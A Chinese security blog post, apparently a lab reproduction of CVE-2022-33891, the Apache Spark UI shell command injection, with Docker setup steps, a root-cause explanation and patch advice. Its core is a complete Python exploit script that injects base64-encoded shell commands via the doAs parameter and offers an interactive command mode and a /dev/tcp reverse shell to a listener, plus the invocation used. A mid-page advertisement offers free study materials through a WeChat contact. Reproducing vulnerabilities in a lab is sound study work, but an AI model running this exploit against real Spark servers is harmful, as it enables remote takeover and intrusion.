当前位置:网站首页>CVE-2022-33891 Apache spark shell 命令注入漏洞复现
CVE-2022-33891 Apache spark shell 命令注入漏洞复现
2022-07-26 14:38:00 【合天网安实验室】
简介
Spark 是用于大规模数据处理的统一分析引擎。它提供了 Scala、Java、Python 和 R 中的高级 API,以及支持用于数据分析的通用计算图的优化引擎。它还支持一组丰富的高级工具,包括用于 SQL 和 DataFrames 的 Spark SQL、用于 Pandas 工作负载的 Spark 上的 Pandas API、用于机器学习的 MLlib、用于图形处理的 GraphX 和用于流处理的结构化流。
影响版本
Apache spark version<3.0.3
3.1.1<Apache spark version<3.1.2
Apache Spark version>= 3.3.0
环境搭建
目前官网上已经找不到老版本的docker镜像了

搜索老版本的也是为空
这里环境搭建的时使用的是github上私人仓库的镜像,下载地址
https://github.com/big-data-europe/docker-spark
https://github.com/big-data-europe/docker-spark
需要修改配置文件,下载存在漏洞的版本,修改dockerfile,V3.1.1

修改版本
docker-compose up -d

访问
http:10.10.10.32:8080

【----帮助网安学习,以下所有学习资料免费领!加weix:yj009991,备注“ csdn ”获取!】
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC漏洞分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)
这里测试是不存在漏洞的,需要修改配置文件
echo "spark.acls.enable true" >> conf/spark-defaults.conf
POC如下:
#!/usr/bin/env python3
import requests
import argparse
import base64
import datetime
parser = argparse.ArgumentParser(description='CVE-2022-33891 Python POC Exploit Script')
parser.add_argument('-u', '--url', help='URL to exploit.', required=True)
parser.add_argument('-p', '--port', help='Exploit target\'s port.', required=True)
parser.add_argument('--revshell', default=False, action="store_true", help="Reverse Shell option.")
parser.add_argument('-lh', '--listeninghost', help='Your listening host IP address.')
parser.add_argument('-lp', '--listeningport', help='Your listening host port.')
parser.add_argument('--check', default=False, action="store_true", help="Checks if the target is exploitable with a sleep test")
args = parser.parse_args()
full_url = f"{args.url}:{args.port}"
def check_for_vuln(url):
print("[*] Attempting to connect to site...")
r = requests.get(f"{full_url}/?doAs='testing'", allow_redirects=False)
if r.status_code != 403:
print("[-] Does not look like an Apache Spark server.")
quit(1)
elif "org.apache.spark.ui" not in r.content.decode("utf-8"):
print("[-] Does not look like an Apache Spark server.")
quit(1)
else:
print("[*] Performing sleep test of 10 seconds...")
t1 = datetime.datetime.now()
run_cmd("sleep 10")
t2 = datetime.datetime.now()
delta = t2-t1
if delta.seconds < 10:
print("[-] Sleep was less than 10. This target is probably not vulnerable")
else:
print("[+] Sleep was 10 seconds! This target is probably vulnerable!")
exit(0)
def cmd_prompt():
# Provide user with cmd prompt on loop to run commands
cmd = input("> ")
return cmd
def base64_encode(cmd):
message_bytes = cmd.encode('ascii')
base64_bytes = base64.b64encode(message_bytes)
base64_cmd = base64_bytes.decode('ascii')
return base64_cmd
def run_cmd(cmd):
try:
# Execute given command from cmd prompt
#print("[*] Command is: " + cmd)
base64_cmd = base64_encode(cmd)
#print("[*] Base64 command is: " + base64_cmd)
exploit = f"/?doAs=`echo {base64_cmd} | base64 -d | bash`"
exploit_req = f"{full_url}{exploit}"
print("[*] Full exploit request is: " + exploit_req)
requests.get(exploit_req, allow_redirects=False)
except Exception as e:
print(str(e))
def revshell(lhost, lport):
print(f"[*] Reverse shell mode.\n[*] Set up your listener by entering the following:\n nc -nvlp {lport}")
input("[!] When your listener is set up, press enter!")
rev_shell_cmd = f"sh -i >& /dev/tcp/{lhost}/{lport} 0>&1"
run_cmd(rev_shell_cmd)
def main():
if args.check and args.revshell:
print("[!] Please choose either revshell or check!")
exit(1)
elif args.check:
check_for_vuln(full_url)
# Revshell
elif args.revshell:
if not (args.listeninghost and args.listeningport):
print("[x] You need a listeninghost and listening port!")
exit(1)
else:
lhost = args.listeninghost
lport = args.listeningport
revshell(lhost, lport)
else:
# "Interactive" mode
print("[*] \"Interactive\" mode!\n[!] Note: you will not receive any output from these commands. Try using something like ping or sleep to test for execution.")
while True:
command_to_run = cmd_prompt()
run_cmd(command_to_run)
if __name__ == "__main__":
main()如果失败的话重建项目,使用下面这个文件起docker可能是镜像的问题,不同的仓库内的Apache spark配置不同,这个版本是V3.0.0的
version: '2'
services:
spark:
image: docker.io/bitnami/spark:3.0.0
environment:
- SPARK_MODE=master
- SPARK_RPC_AUTHENTICATION_ENABLED=no
- SPARK_RPC_ENCRYPTION_ENABLED=no
- SPARK_LOCAL_STORAGE_ENCRYPTION_ENABLED=no
- SPARK_SSL_ENABLED=no
ports:
- '8080:8080'
访问

修改配置文件
docker exec -it 8a /bin/bash
I have no [email protected]:/opt/bitnami/spark$ echo "spark.acls.enable true" >> conf/spark-defaults.conf
I have no [email protected]:/opt/bitnami/spark$ cat conf/spark-defaults.conf

已追加配置,重启docker
[email protected]:/home/ubuntu/Desktop/spark# docker-compose up -d

使用poc去生成payload,或者手动也可,但是执行的命令要使用echo写入执行且做base64编码后解码生效。

但是看不到回显,直接反弹shell
python 2.py -u http://192.168.0.112 -p 8080 --revshell -lh 192.168.0.121 -lp 4444查看连接状态

漏洞成因
漏洞成因是由于Apache Spark UI 提供了通过配置选项 spark.acls.enable 启用 ACL 的可能性。使用身份验证过滤器,这将检查用户是否具有查看或修改应用程序的访问权限。如果启用了 ACL,则 HttpSecurityFilter 中的代码路径可以允许某人通过提供任意用户名来执行模拟。然后,恶意用户可能能够访问权限检查功能,该功能最终将根据他们的输入构建一个 Unix shell 命令并执行,导致任意 shell 命令执行。
参考:Security | Apache Sparkhttps://spark.apache.org/security.html
修复建议
1.建议升级到安全版本,参考官网链接:
Downloads | Apache Sparkhttps://spark.apache.org/downloads.html
2.安全设备路径添加黑名单或者增加WAF规则(临时方案)。
更多靶场实验练习、网安学习资料,请点击这里>>
https://www.hetianlab.com
边栏推荐
- SA-Siam:用于实时目标跟踪的孪生网络
- 基于CAS的SSO单点客户端配置
- 一个满的10L容器,7L、4L空的容器,如何得到5L的水
- Leetcode summary
- Maya imports the model into unity
- 如何做 APP 升级测试 ?
- Fill in the questionnaire and receive the prize | we sincerely invite you to fill in the Google play academy activity survey questionnaire
- 基于CAS的SSO单点服务端配置
- Network pictures are transferred locally, causing the kernel to exit
- Leetcode1170- compare the occurrence frequency of the minimum letter of the string (the corresponding occurrence frequency of each string minimum element in the map set storage array)
猜你喜欢

Summary of target tracking related knowledge

创建Root权限虚拟环境

C winfrom common function integration

【整数规划】

Fill in the questionnaire and receive the prize | we sincerely invite you to fill in the Google play academy activity survey questionnaire

Create root permission virtual environment

嵌入式开发:调试嵌入式软件的技巧

CAS single sign on

Win11运行虚拟机死机了?Win11运行VMware虚拟机崩溃的解决方法

Some lightweight network models in detection and segmentation (share your own learning notes)
随机推荐
基于CAS的SSO单点客户端配置
C# NanUI 相关功能整合
[file upload vulnerability-06] distributed configuration file attack experiment - take upload-labs-4 as an example
Figure introduction to neural network core dataset
Unity learning notes – infinite map
Some lightweight network models in detection and segmentation (share your own learning notes)
当AI邂逅生命健康,华为云为他们搭建三座桥
Difference between filter and interceptor
【文件上传漏洞-06】分布式配置文件攻击实验—以upload-labs-4为例
Introduction to C language must brush the daily question of the collection of 100 questions (1-20)
[Yugong series] July 2022 go teaching course 017 - if of branch structure
LeetCode659.分割数组为连续子序列 (哈希表)
Pdf translation, which translation company in Beijing is good
CAS based SSO single point client configuration
SP export map to Maya
Advanced MySQL v. InnoDB data storage structure
[ostep] 02 virtualized CPU - process
How to evaluate the test quality?
[ostep] 04 virtualized CPU - process scheduling strategy
[1.2. return and risk of investment]